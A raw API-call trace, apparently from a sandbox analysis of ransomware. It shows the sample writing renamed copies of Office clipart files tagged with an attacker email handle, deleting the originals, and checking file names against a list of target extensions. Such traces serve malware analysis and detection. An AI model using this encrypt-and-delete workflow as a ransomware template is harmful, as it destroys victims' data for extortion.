	[0275.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0275.395] GetLastError () returned 0x0
	[0275.395] ReadFile (in: hFile=0x37c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x2ce4, lpOverlapped=0x0) returned 1
	[0275.473] WriteFile (in: hFile=0x32c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x2cf0, lpOverlapped=0x0) returned 1
	[0275.474] ReadFile (in: hFile=0x37c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.474] WriteFile (in: hFile=0x32c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.474] SetEndOfFile (hFile=0x32c) returned 1
	[0275.474] CloseHandle (hObject=0x32c) returned 1
	[0275.474] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.474] SetEndOfFile (hFile=0x37c) returned 1
	[0275.476] CloseHandle (hObject=0x37c) returned 1
	[0275.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf")) returned 1
	[0275.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63
	[0275.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63
	[0275.480] lstrlenW (lpString=".doc") returned 4
	[0275.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.480] lstrlenW (lpString=".docx") returned 5
	[0275.480] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0275.480] lstrlenW (lpString=".pdf") returned 4
	[0275.480] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.480] lstrlenW (lpString=".xls") returned 4
	[0275.480] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.480] lstrlenW (lpString=".xlsx") returned 5
	[0275.480] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0275.480] lstrlenW (lpString=".ppt") returned 4
	[0275.480] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63
	[0275.480] lstrlenW (lpString=".zip") returned 4
	[0275.480] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.480] lstrlenW (lpString=".rar") returned 4
	[0275.480] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.480] lstrlenW (lpString=".bz2") returned 4
	[0275.480] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.480] lstrlenW (lpString=".7z") returned 3
	[0275.480] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63
	[0275.480] lstrlenW (lpString=".dbf") returned 4
	[0275.480] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63
	[0275.480] lstrlenW (lpString=".1cd") returned 4
	[0275.480] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63
	[0275.480] lstrlenW (lpString=".jpg") returned 4
	[0275.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.491] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=3724) returned 1
	[0275.491] CloseHandle (hObject=0x32c) returned 1
	[0275.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf")) returned 0x20
	[0275.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0275.491] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.491] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0275.491] GetLastError () returned 0x0
	[0275.491] ReadFile (in: hFile=0x32c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xe8c, lpOverlapped=0x0) returned 1
	[0275.493] WriteFile (in: hFile=0x358, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xe90, lpOverlapped=0x0) returned 1
	[0275.493] ReadFile (in: hFile=0x32c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.494] WriteFile (in: hFile=0x358, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.494] SetEndOfFile (hFile=0x358) returned 1
	[0275.494] CloseHandle (hObject=0x358) returned 1
	[0275.494] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.494] SetEndOfFile (hFile=0x32c) returned 1
	[0275.496] CloseHandle (hObject=0x32c) returned 1
	[0275.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf")) returned 1
	[0275.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63
	[0275.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63
	[0275.496] lstrlenW (lpString=".doc") returned 4
	[0275.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.496] lstrlenW (lpString=".docx") returned 5
	[0275.496] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0275.496] lstrlenW (lpString=".pdf") returned 4
	[0275.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.496] lstrlenW (lpString=".xls") returned 4
	[0275.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.496] lstrlenW (lpString=".xlsx") returned 5
	[0275.496] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0275.496] lstrlenW (lpString=".ppt") returned 4
	[0275.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63
	[0275.496] lstrlenW (lpString=".zip") returned 4
	[0275.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.497] lstrlenW (lpString=".rar") returned 4
	[0275.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.497] lstrlenW (lpString=".bz2") returned 4
	[0275.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.497] lstrlenW (lpString=".7z") returned 3
	[0275.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63
	[0275.497] lstrlenW (lpString=".dbf") returned 4
	[0275.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63
	[0275.497] lstrlenW (lpString=".1cd") returned 4
	[0275.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63
	[0275.497] lstrlenW (lpString=".jpg") returned 4
	[0275.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.497] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=3568) returned 1
	[0275.498] CloseHandle (hObject=0x32c) returned 1
	[0275.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf")) returned 0x20
	[0275.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0275.498] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.498] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0275.498] GetLastError () returned 0x0
	[0275.498] ReadFile (in: hFile=0x32c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xdf0, lpOverlapped=0x0) returned 1
	[0275.500] WriteFile (in: hFile=0x358, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xe00, lpOverlapped=0x0) returned 1
	[0275.501] ReadFile (in: hFile=0x32c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.501] WriteFile (in: hFile=0x358, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.501] SetEndOfFile (hFile=0x358) returned 1
	[0275.501] CloseHandle (hObject=0x358) returned 1
	[0275.501] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.501] SetEndOfFile (hFile=0x32c) returned 1
	[0275.503] CloseHandle (hObject=0x32c) returned 1
	[0275.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf")) returned 1
	[0275.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63
	[0275.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63
	[0275.503] lstrlenW (lpString=".doc") returned 4
	[0275.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.504] lstrlenW (lpString=".docx") returned 5
	[0275.504] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0275.504] lstrlenW (lpString=".pdf") returned 4
	[0275.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.504] lstrlenW (lpString=".xls") returned 4
	[0275.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.504] lstrlenW (lpString=".xlsx") returned 5
	[0275.504] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0275.504] lstrlenW (lpString=".ppt") returned 4
	[0275.504] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63
	[0275.504] lstrlenW (lpString=".zip") returned 4
	[0275.504] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.504] lstrlenW (lpString=".rar") returned 4
	[0275.504] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.504] lstrlenW (lpString=".bz2") returned 4
	[0275.504] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.504] lstrlenW (lpString=".7z") returned 3
	[0275.504] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63
	[0275.504] lstrlenW (lpString=".dbf") returned 4
	[0275.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63
	[0275.504] lstrlenW (lpString=".1cd") returned 4
	[0275.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF") returned 63
	[0275.504] lstrlenW (lpString=".jpg") returned 4
	[0275.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.505] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=9612) returned 1
	[0275.505] CloseHandle (hObject=0x32c) returned 1
	[0275.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf")) returned 0x20
	[0275.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0275.505] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.505] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0275.506] GetLastError () returned 0x0
	[0275.506] ReadFile (in: hFile=0x32c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x258c, lpOverlapped=0x0) returned 1
	[0275.507] WriteFile (in: hFile=0x358, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x2590, lpOverlapped=0x0) returned 1
	[0275.508] ReadFile (in: hFile=0x32c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.508] WriteFile (in: hFile=0x358, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.508] SetEndOfFile (hFile=0x358) returned 1
	[0275.508] CloseHandle (hObject=0x358) returned 1
	[0275.508] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.508] SetEndOfFile (hFile=0x32c) returned 1
	[0275.510] CloseHandle (hObject=0x32c) returned 1
	[0275.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf")) returned 1
	[0275.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63
	[0275.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63
	[0275.511] lstrlenW (lpString=".doc") returned 4
	[0275.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.511] lstrlenW (lpString=".docx") returned 5
	[0275.511] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0275.511] lstrlenW (lpString=".pdf") returned 4
	[0275.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.511] lstrlenW (lpString=".xls") returned 4
	[0275.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.511] lstrlenW (lpString=".xlsx") returned 5
	[0275.511] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0275.511] lstrlenW (lpString=".ppt") returned 4
	[0275.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63
	[0275.511] lstrlenW (lpString=".zip") returned 4
	[0275.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.511] lstrlenW (lpString=".rar") returned 4
	[0275.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.511] lstrlenW (lpString=".bz2") returned 4
	[0275.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.511] lstrlenW (lpString=".7z") returned 3
	[0275.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63
	[0275.511] lstrlenW (lpString=".dbf") returned 4
	[0275.512] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63
	[0275.512] lstrlenW (lpString=".1cd") returned 4
	[0275.512] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF") returned 63
	[0275.512] lstrlenW (lpString=".jpg") returned 4
	[0275.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.512] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=6024) returned 1
	[0275.512] CloseHandle (hObject=0x32c) returned 1
	[0275.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf")) returned 0x20
	[0275.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0275.512] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.512] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0275.741] GetLastError () returned 0x0
	[0275.748] ReadFile (in: hFile=0x32c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1788, lpOverlapped=0x0) returned 1
	[0275.749] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1790, lpOverlapped=0x0) returned 1
	[0275.750] ReadFile (in: hFile=0x32c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.750] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.750] SetEndOfFile (hFile=0x390) returned 1
	[0275.750] CloseHandle (hObject=0x390) returned 1
	[0275.750] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.750] SetEndOfFile (hFile=0x32c) returned 1
	[0275.752] CloseHandle (hObject=0x32c) returned 1
	[0275.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf")) returned 1
	[0275.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63
	[0275.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63
	[0275.753] lstrlenW (lpString=".doc") returned 4
